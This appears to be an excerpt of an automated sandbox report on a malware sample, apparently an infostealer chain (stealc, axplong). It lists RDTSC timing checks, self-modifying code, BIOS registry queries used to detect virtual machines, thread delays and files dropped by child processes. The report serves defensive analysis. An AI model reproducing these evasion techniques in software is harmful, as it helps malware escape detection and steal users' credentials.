Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529007A second address: 529009D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov si, bx 0x0000000d mov cx, di 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62B85207DEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529009D second address: 52900CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F62B87735E6h 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900CC second address: 52900D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900D0 second address: 52900D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900D4 second address: 52900DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900DA second address: 52900EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900EB second address: 52900EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900EF second address: 52900F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52900F5 second address: 5290106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 mov edi, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290106 second address: 5290123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290123 second address: 5290133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B85207DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290133 second address: 529016D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F62B87735E6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F62B87735DDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529016D second address: 5290173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290173 second address: 529018A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 68F76709h 0x00000008 mov eax, 53266AC5h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529018A second address: 529018E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529018E second address: 5290194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290194 second address: 5290216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d call 00007F62B85207DEh 0x00000012 mov edx, esi 0x00000014 pop esi 0x00000015 mov ecx, edx 0x00000017 popad 0x00000018 push esp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F62B85207E4h 0x00000020 xor ax, 1918h 0x00000025 jmp 00007F62B85207DBh 0x0000002a popfd 0x0000002b jmp 00007F62B85207E8h 0x00000030 popad 0x00000031 mov dword ptr [esp], esi 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F62B85207DAh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290216 second address: 529021A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529021A second address: 5290220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290220 second address: 5290231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290231 second address: 529024F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62B85207DFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529024F second address: 5290253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290253 second address: 5290259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290259 second address: 5290268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290268 second address: 529026C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529026C second address: 5290287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov ch, 2Ch 0x0000000c call 00007F62B87735DDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290287 second address: 52902F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], edi 0x00000009 pushad 0x0000000a call 00007F62B85207E3h 0x0000000f call 00007F62B85207E8h 0x00000014 pop ecx 0x00000015 pop edi 0x00000016 popad 0x00000017 test esi, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F62B85207E6h 0x00000022 or ecx, 0814D688h 0x00000028 jmp 00007F62B85207DBh 0x0000002d popfd 0x0000002e mov bl, ch 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52902F0 second address: 529035E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F632A8918E5h 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 mov ax, 2939h 0x00000017 popad 0x00000018 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001f jmp 00007F62B87735E4h 0x00000024 je 00007F632A8918D1h 0x0000002a jmp 00007F62B87735E0h 0x0000002f mov edx, dword ptr [esi+44h] 0x00000032 pushad 0x00000033 mov di, si 0x00000036 pushad 0x00000037 movzx ecx, di 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d popad 0x0000003e or edx, dword ptr [ebp+0Ch] 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529035E second address: 5290362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290362 second address: 5290368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290368 second address: 529036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529036E second address: 5290372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290372 second address: 52903AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e pushad 0x0000000f mov esi, edi 0x00000011 mov si, di 0x00000014 popad 0x00000015 jne 00007F632A63EAD7h 0x0000001b jmp 00007F62B85207E7h 0x00000020 test byte ptr [esi+48h], 00000001h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52903AE second address: 52903B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52903B2 second address: 52903B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52903B8 second address: 5290425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62B87735E8h 0x00000009 sbb eax, 591774C8h 0x0000000f jmp 00007F62B87735DBh 0x00000014 popfd 0x00000015 mov bl, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jne 00007F632A89188Ch 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F62B87735E1h 0x00000027 jmp 00007F62B87735DBh 0x0000002c popfd 0x0000002d popad 0x0000002e test bl, 00000007h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov dx, cx 0x00000037 jmp 00007F62B87735DAh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290425 second address: 529042B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529042B second address: 529042F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52806FB second address: 528077E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 mov cx, bx 0x00000008 mov edx, 2E278FECh 0x0000000d popad 0x0000000e popad 0x0000000f push ecx 0x00000010 jmp 00007F62B85207E0h 0x00000015 mov dword ptr [esp], ebp 0x00000018 jmp 00007F62B85207E0h 0x0000001d mov ebp, esp 0x0000001f jmp 00007F62B85207E0h 0x00000024 and esp, FFFFFFF8h 0x00000027 pushad 0x00000028 mov bl, cl 0x0000002a push ebx 0x0000002b pushfd 0x0000002c jmp 00007F62B85207E6h 0x00000031 adc ecx, 1D3782C8h 0x00000037 jmp 00007F62B85207DBh 0x0000003c popfd 0x0000003d pop ecx 0x0000003e popad 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 movsx ebx, cx 0x00000046 mov cx, 8B09h 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 528077E second address: 5280810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62B87735E5h 0x00000009 and esi, 6F4B7296h 0x0000000f jmp 00007F62B87735E1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], ebx 0x0000001b jmp 00007F62B87735DDh 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F62B87735DCh 0x00000028 sbb cl, FFFFFFE8h 0x0000002b jmp 00007F62B87735DBh 0x00000030 popfd 0x00000031 mov ah, FDh 0x00000033 popad 0x00000034 push eax 0x00000035 jmp 00007F62B87735E2h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F62B87735E7h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5280810 second address: 528084E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007F62B85207DEh 0x00000011 sub ebx, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62B85207DCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 528084E second address: 52808AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F62B87735E6h 0x00000010 je 00007F632A8990EFh 0x00000016 jmp 00007F62B87735E0h 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F62B87735E7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52808AB second address: 52808C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B85207E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52808C3 second address: 52808C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52808C7 second address: 52808DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 mov al, 26h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52808DA second address: 52808E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52808E0 second address: 52808E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52808E4 second address: 5280914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F632A89908Dh 0x0000000e jmp 00007F62B87735E4h 0x00000013 test byte ptr [77436968h], 00000002h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push edi 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5280914 second address: 5280919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5280919 second address: 5280950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F632A89905Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F62B87735E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5280950 second address: 5280956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5280956 second address: 528095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 528095A second address: 528097A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ax, dx 0x00000014 mov edi, 11B51AA2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 528097A second address: 528097F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 528097F second address: 52809ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, 85h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov cx, C9D9h 0x0000000f mov edx, ecx 0x00000011 popad 0x00000012 mov dword ptr [esp], ebx 0x00000015 pushad 0x00000016 movzx ecx, di 0x00000019 mov bh, CCh 0x0000001b popad 0x0000001c xchg eax, ebx 0x0000001d jmp 00007F62B85207E2h 0x00000022 push eax 0x00000023 jmp 00007F62B85207DBh 0x00000028 xchg eax, ebx 0x00000029 jmp 00007F62B85207E6h 0x0000002e push dword ptr [ebp+14h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F62B85207E7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52809ED second address: 52809F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random.exe.6.exe	Special instruction interceptor: First address: B0EEBE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.6.exe	Special instruction interceptor: First address: CB399A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.6.exe	Special instruction interceptor: First address: D369E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 6FEEBE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 8A399A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 9269E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Special instruction interceptor: First address: 60D88F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\random.exe.6.exe

Code function: 1_2_0530071B rdtsc

1_2_0530071B

Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1305	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1287	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1079	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1102	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1105	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Window / User API: threadDelayed 9861
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Window / User API: threadDelayed 9619

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\yarl\_helpers_c.pyd	Jump to dropped file
